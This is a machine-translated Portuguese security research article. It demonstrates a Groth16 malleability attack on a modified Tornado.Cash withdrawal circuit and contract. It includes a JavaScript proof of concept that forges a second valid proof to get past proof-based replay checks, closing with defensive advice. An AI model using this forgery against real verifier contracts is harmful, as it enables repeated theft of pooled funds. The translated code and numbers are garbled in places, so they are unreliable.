Autor deste artigo: Saya & Bryce, especialistas em pesquisa de segurança da Beosin
No artigo anterior, explicamos a vulnerabilidade de escalabilidade do próprio sistema de prova Groth16 a partir de uma perspectiva de princípio.Neste artigo, tomaremos o projeto Tornado.Cash como exemplo, modificaremos alguns de seus circuitos e códigos e apresentaremos o ataque de escalabilidade processo e espero que outras partes do projeto zkp também prestem atenção às medidas preventivas correspondentes no projeto.
Entre eles, Tornado.Cash é desenvolvido usando a biblioteca snarkjs, que também se baseia no seguinte processo de desenvolvimento. Será apresentado diretamente mais tarde. Se você não estiver familiarizado com esta biblioteca, leia o primeiro artigo desta série. (Beosin | Análise aprofundada da vulnerabilidade zk-SNARK à prova de conhecimento zero: Por que o sistema à prova de conhecimento zero não é infalível?)
(Fonte: https://docs.circom.io/) 1 Arquitetura Tornado.Cash
O processo de interação do Tornado.Cash contém principalmente 4 entidades:
Usuário: Use este DApp para realizar transações privadas no mixer, incluindo depósitos e retiradas. Página da Web: página da Web front-end do DApp, que contém alguns botões do usuário. Relayer: Para evitar que os nós da cadeia registrem o endereço IP e outras informações que iniciaram a transação privada, o servidor reproduzirá a transação em nome do usuário para aumentar ainda mais a privacidade. Contrato: Contém um contrato de proxy Tornado.Cash Proxy Este contrato de proxy selecionará o pool Tornado designado para operações subsequentes de depósito e retirada com base na quantidade de depósitos e retiradas do usuário. Existem atualmente 4 pools, com os valores sendo: 0,1, 1, 10 e 100.
O usuário primeiro realiza a operação correspondente na página front-end do Tornado.Cash para acionar uma transação de depósito ou retirada. Em seguida, o Relayer encaminha sua solicitação de transação para o contrato Tornado.Cash Proxy na cadeia e a encaminha para o Pool correspondente de acordo. ao valor da transação Por fim, para processar depósitos e retiradas, a estrutura específica é a seguinte:
Como misturador de moedas, as funções comerciais específicas do Tornado.Cash são divididas em duas partes:
Depósito: Quando um usuário realiza uma transação de depósito, ele primeiro seleciona o token depositado (BNB, ETH, etc.) e o valor correspondente na página front-end. Para melhor garantir a privacidade do usuário, apenas quatro valores podem ser. depositado;
Em seguida, o servidor irá gerar dois nulificadores e segredos de 31 bytes. Após juntá-los e realizar a operação pedersenHash, o compromisso pode ser obtido. O nulificador + segredo mais o prefixo serão retornados ao usuário como uma nota. mostrado abaixo:
Em seguida, uma transação de depósito é iniciada para enviar o compromisso e outros dados para o contrato Tornado.Cash Proxy na cadeia. O contrato proxy encaminha os dados para o Pool correspondente de acordo com o valor do depósito. nó folha na árvore merkle e armazene a raiz calculada no contrato Pool. saque: Quando o usuário realiza uma transação de saque, ele primeiro insere os dados da nota e o endereço de pagamento retornados ao depositar na página front-end; o servidor fará login na cadeia Recuperará todos os eventos de depósito do Tornadocash, extrairá os commits para construir a árvore Merkle sob a cadeia e gerará os commits com base nos dados da nota (anulificador + segredo) fornecidos pelo usuário e gerará o Merkle correspondente Caminho e raiz correspondente e use-os como entrada de circuito Obtenha a prova SNARK de conhecimento zero, finalmente, inicie uma transação de retirada para o contrato Tornado.Cash Proxy na cadeia e, em seguida, pule para o contrato Pool correspondente de acordo com os parâmetros para verificar o; comprovante e transferir o dinheiro para o endereço do destinatário designado pelo usuário.
Entre eles, o cerne da retirada do Tornado.Cash é, na verdade, provar que existe um certo compromisso na árvore Merkle sem expor o anulador e o segredo mantidos pelo usuário. A estrutura específica da árvore Merkle é a seguinte:
2 Tornado.Cash modificado versão vulnerável 2.1 Tornado.Cash modificado
Em relação ao princípio do ataque de escalabilidade no primeiro artigo Groth16, sabemos que um invasor pode realmente gerar várias provas diferentes usando o mesmo anulador e segredo. Então, se o desenvolvedor não considerar o ataque de gasto duplo causado pela repetição da prova, ele será ameaçador. Financiamento do projeto. Antes de fazer alterações mágicas no Tornado.Cash, este artigo primeiro apresenta o código no Pool que o Tornado.Cash finalmente lida com a retirada:
/** @dev Retirar um depósito do contrato. `proof` é um dado de prova zkSNARK, e a entrada é uma matriz de entradas públicas do circuito A matriz `input` consiste em: - raiz merkle de todos os depósitos no contrato - hash do anulador de depósito exclusivo para evitar gastos duplos - o destinatário dos fundos - taxa opcional que vai para o remetente da transação (geralmente um retransmissor) */ função retirar( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, endereço a pagar _recipient, endereço a pagar _relayer, uint256 _fee, uint256 _refund ) externo a pagar nãoReentrante { require(_fee @ *= denominação, “Taxa excede valor de transferência”); require(!nullifierHashes[_nullifierHash], "A nota já foi gasta"); require(isKnownRoot(_root), "Não foi possível encontrar sua raiz merkle"); // Certifique-se de usar um recente require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ), "Prova de retirada inválida" ) ;
nullifierHashes[_nullifierHash] = verdadeiro; _processWithdraw(_recipient, _relayer, _fee, _refund); emitir Retirada(_recipient, _nullifierHash, _relayer, _fee); }
Na imagem acima, para evitar que invasores usem a mesma Prova para realizar ataques de gasto duplo sem expor o nulificador e o segredo, Tornado.Cash adiciona um nullifierHash de sinal público ao circuito, que é obtido pelo hashing do nulificador de Pedersen e pode ser usado como parâmetro passado para a cadeia, o contrato Pool então usa essa variável para identificar se uma Prova correta foi usada. Mas se a parte do projeto não modificar o circuito, mas registrar diretamente as provas para evitar gastos duplos, afinal, isso pode reduzir as restrições do circuito e economizar custos, mas será que pode atingir a meta?
Em relação a esta conjectura, este artigo irá excluir o sinal público nullifierHash recém-adicionado no circuito e alterar a verificação do contrato para verificação de prova. Como o Tornado.Cash obterá todos os eventos de depósito para construir uma árvore merkle toda vez que for retirado e, em seguida, verificará se o valor raiz gerado está entre os últimos 30 gerados. Todo o processo é muito problemático, então o circuito neste artigo será. exclua também o circuito merkleTree. Resta apenas o circuito central da parte de retirada. O circuito específico é o seguinte:
inclua "../../../../node_modules/circomlib/circuits/bitify.circom"; inclua "../../../../node_modules/circomlib/circuits/pedersen.circom";
// calcula Pedersen(nullifier + secret)template CommitmentHasher() { signal input nullifier; segredo de entrada de sinal; compromisso de saída de sinal; // saída de sinal nullifierHash; //excluir
compromisso do componenteHasher = Pedersen(496); // componente nullifierHasher = Pedersen(248); componente nullifierBits = Num2Bits(248); componente secretBits = Num2Bits(248);
nullifierBits.in <== nullifier; secretBits.in <== segredo; for (var i = 0; i < 248; i++) { // nullifierHasher.in[i] <== nullifierBits.out[i]; // exclui commitHasher.in[i] <== nullifierBits.out[i]; compromissoHasher.in[i + 248] <== secretBits.out[i]; }
compromisso <== compromissoHasher.out[0]; // nullifierHash <== nullifierHasher.out[0]; //excluir}
// Verifica se o compromisso que corresponde a determinado segredo e anulador está incluído na árvore Merkle de compromisso de saída de sinal de depósitos; receptor de entrada de sinal; // não participa de nenhum cálculo do relé de entrada de sinal; // não participar de nenhum cálculo de taxa de entrada de sinal; // não participando de nenhum cálculo de reembolso de entrada de sinal; // não participa de nenhum cálculo nullifier de entrada de sinal; segredo de entrada de sinal; componente hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== segredo; compromisso <== hasher.commitment;
// Adicione sinais ocultos para garantir que a adulteração do destinatário ou da taxa invalidará a prova de snark // Provavelmente não é obrigatório, mas é melhor ficar do lado seguro e são necessárias apenas 2 restrições // Quadrados são usados para prevenir otimizador de remover essas restrições sinal receiverSquare; taxa de sinalQuadrado; relé de sinalQuadrado; reembolso de sinalQuadrado;
destinatárioSquare <== destinatário * destinatário; taxaSquare <== taxa * taxa; retransmissorQuadrado <== retransmissor * retransmissor; reembolsoSquare <== reembolso * reembolso;
}
componente principal = Retirar(20);
Observação: durante o experimento, descobrimos que na versão mais recente do código do TornadoCash no GitHub (https://github.com/tornadocash/tornado-core), o circuito de retirada não possui sinal de saída e requer correção manual para funcionar corretamente.
Com base no circuito modificado acima, use a biblioteca snarkjs, etc. para prosseguir passo a passo de acordo com o processo de desenvolvimento fornecido no início deste artigo e gere a seguinte Prova normal, registrada como prova1:
A prova: {pi_a: [12731245758885665844440940942625335911548255472545721927606279036884288780352n, 110295670450333405665483678933040 52946457319632960669053932271922876268005970n, 1n], pi_b: [ [442467028355646562219718754675409466783738316647961547451518218387 8046002081n, 8088104569927474555610665242983621221932062943927262293572649061565902268616n], [91942484631159869403598119880 96155965376840166464829609545491502209803154186n, 18373139073981696655136870665800393986130876498128887091087060068369811557 306n], [1n, 0n]], pi_c: [1626407734863381433630916916203225704171957179582436403191883565668143772631n, 10375204902125491773 178253544576299821079735144068419595539416984653646546215n, 1n], protocolo: 'groth16 ', curva: 'bn128'}
2.2 Verificação experimental
2.2.1 Prova de verificação — o contrato padrão gerado pela Circom
Primeiro, usamos o contrato padrão gerado pelo Circom para verificação. Como esse contrato não registra nenhuma informação relacionada ao Proof que tenha sido usada, um invasor pode reproduzir o Proof1 várias vezes para causar um ataque de gasto duplo. Nos experimentos a seguir, a prova pode ser repetida inúmeras vezes para a mesma entrada do mesmo circuito, e todos podem passar na verificação.
A imagem abaixo é uma captura de tela do experimento usando prova1 para provar que a verificação foi aprovada no contrato padrão, incluindo os parâmetros de prova A, B e C usados no artigo anterior e o resultado final:
A figura abaixo é o resultado do uso da mesma prova1 para chamar a função verifyProof várias vezes para verificação. O experimento descobriu que, para a mesma entrada, não importa quantas vezes o invasor use prova1 para verificação, ela pode passar:
Claro, quando o testamos na base de código js nativo do snarkjs, não tomamos precauções contra a prova já usada. Os resultados experimentais são os seguintes:
2.2.2 Prova de Verificação — Contrato Anti-Replay Ordinário
Tendo em vista a vulnerabilidade de repetição no contrato padrão gerado pelo circcom, este artigo registra um valor na Prova correta (prova1) que tem sido utilizado para prevenir ataques de repetição utilizando prova verificada, conforme mostrado na figura a seguir:
Continue usando a prova1 para verificação. O experimento descobriu que ao usar a mesma Prova para verificação secundária, a reversão da transação reportou um erro: "A nota já foi gasta".
No entanto, embora o objetivo de prevenir ataques comuns de repetição de prova tenha sido alcançado neste momento, o algoritmo groth16 tem uma vulnerabilidade de maleabilidade introduzida anteriormente, e esta medida preventiva ainda pode ser contornada. Assim, conforme mostrado abaixo, construímos um PoC e geramos um certificado zk-SNARK forjado para a mesma entrada de acordo com o algoritmo do primeiro artigo. O experimento descobriu que ele ainda pode passar na verificação. O código PoC para gerar a prova forjada prova2 é o seguinte:
importar WasmCurve de "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"importar ZqField de "/Users/saya/node_modules/ffjavascript/src/f1field.js"importar groth16FullProve de "/Users/saya/node_modules/snarkjs /src/groth16_fullprove.js"importar groth16Verify de "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";importar * como curvas de "/Users/saya/node_modules/snarkjs/src/curves.js";importar fs from "fs";importar { utilitários } de "ffjavascript";const {unstringifyBigInts} = utils;
groth16_exp();função assíncrona groth16_exp(){ let inputA = "7"; deixe entradaB = "11"; const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');
// 2. Leia a string e converta-a para int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8"))); ) ;
// Gera o elemento inverso, o elemento inverso gerado deve estar no campo F1 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); (X) console.log("x:",X) console.log("invX",invX) console.log("O timesScalar é:",F.mul(X,invX))
// 读取椭圆曲线G1、G2点 const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8")); // console.log("A curva é:",vKey); curva const = aguarda curvas.getCurveFromName(vKey.curve);
const G1 = curva.G1; const G2 = curva.G2; const A = G1.fromObject(prova.pi_a); const B = G2.fromObject(prova.pi_b); const C = G1.fromObject(prova.pi_c);
const new_pi_a = G1.timesScalar(A, X); //A'=x*A const new_pi_b = G2.timesScalar(B, invX); //B'=x^{-1}*B
prova.pi_a = G1.toObject(G1.toAffine(A)); prova.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) prova.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))
// Converte os pontos G1 e G2 gerados em prova console.log("proof.pi_a:",proof.pi_a); :",proof.new_pi_b)
}
A prova forjada prova2 gerada é mostrada na figura abaixo:
prova.pi_a: [12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304052 946457319632960669053932271922876268005970n, 1n]prova.new_pi_a: [326862454487046110066435161156886636112532269372699001034965749760 9444389527n, 21156099942559593159790898693162006358905276643480284336017680361717954148668n, 1n]proof.new_pi_b: [ [ 2017004938108461 976377332931028520048391650017861855986117340314722708331101n, 6901316944871385425597366288561266915582095050959790709831410 732021119424946040017043 1279189485965933578983661252776040008442689480757963n], [ 1n, 0n ]]
Ao usar este parâmetro para chamar novamente a função verifyProof para verificação de prova, o experimento descobriu que a verificação de prova2 passou novamente com a mesma entrada, conforme mostrado abaixo:
Embora a prova2 falsificada só possa ser usada uma vez, uma vez que há um número quase infinito de provas falsificadas para o mesmo insumo, ela pode fazer com que os fundos do contrato sejam retirados um número ilimitado de vezes.
Este artigo também usa o código js da biblioteca circcom para testes. Os resultados experimentais prova1 e a prova falsa2 podem passar na verificação:
2.2.3 Comprovante de verificação — Contrato de repetição Tornado.Cash
Depois de tantos fracassos, não há como consertar isso de uma vez por todas? Seguindo o método usado em Tornado.Cash para verificar se a entrada original foi usada, este artigo continua a modificar o código do contrato da seguinte forma:
Deve-se notar que, a fim de demonstrar medidas simples para evitar ataques de escalabilidade do algoritmo groth16, este artigo adota o método de registro direto da entrada do circuito original, porém, isso não atende ao princípio de privacidade da prova de conhecimento zero, e. a entrada do circuito deve ser confidencial. **Por exemplo, todas as entradas no Tornado.Cash são privadas e você precisa adicionar uma nova entrada pública para marcar uma Prova. Como não há nenhum novo logotipo no circuito deste artigo, a privacidade é pior que Tornado.Cash. Ele é usado apenas como uma demonstração experimental para mostrar os resultados da seguinte forma:
Pode-se descobrir que na imagem acima, a Prova usando a mesma entrada só pode passar na verificação da prova1 pela primeira vez, e então nem a prova1 nem a prova2 forjada podem passar na verificação.
3 Resumo e sugestões
Este artigo verifica principalmente a autenticidade e os danos da vulnerabilidade de replay, modificando o circuito do TornadoCash e usando o contrato padrão gerado pela Circom comumente usado pelos desenvolvedores, e verifica ainda se as medidas comuns usadas no nível do contrato podem proteger contra a vulnerabilidade de replay, mas não pode evitá-lo. O ataque de maleabilidade de Groth16 A esse respeito, recomendamos que os projetos à prova de conhecimento zero prestem atenção ao seguinte ao desenvolver projetos:
Diferente da maneira como os DApps tradicionais usam dados exclusivos, como endereços, para gerar dados de nós, os projetos zkp geralmente usam uma combinação de números aleatórios para gerar nós da árvore Merkle. Você precisa prestar atenção se a lógica de negócios permite a inserção de nós com os mesmos. valor. Porque os mesmos dados do nó folha podem fazer com que alguns fundos do usuário sejam bloqueados no contrato, ou pode haver várias provas Merkle nos mesmos dados do nó folha que confundem a lógica de negócios.
A equipe do projeto zkp geralmente usa mapeamento para registrar a prova usada para evitar ataques de gasto duplo. Ressalta-se que no desenvolvimento utilizando Groth16, devido à existência de ataques de escalabilidade, os dados originais do nó devem ser utilizados para gravação, ao invés de apenas identificação de dados relacionados à prova.
Circuitos complexos podem ter problemas como incerteza do circuito e falta de restrições, condições incompletas durante a verificação do contrato, lacunas na lógica de implementação, etc. Recomendamos fortemente que as partes do projeto procurem uma empresa de auditoria de segurança com certas pesquisas sobre circuitos e contratos quando o projeto for lançado. . Realizar uma auditoria abrangente para garantir ao máximo a segurança do projeto.
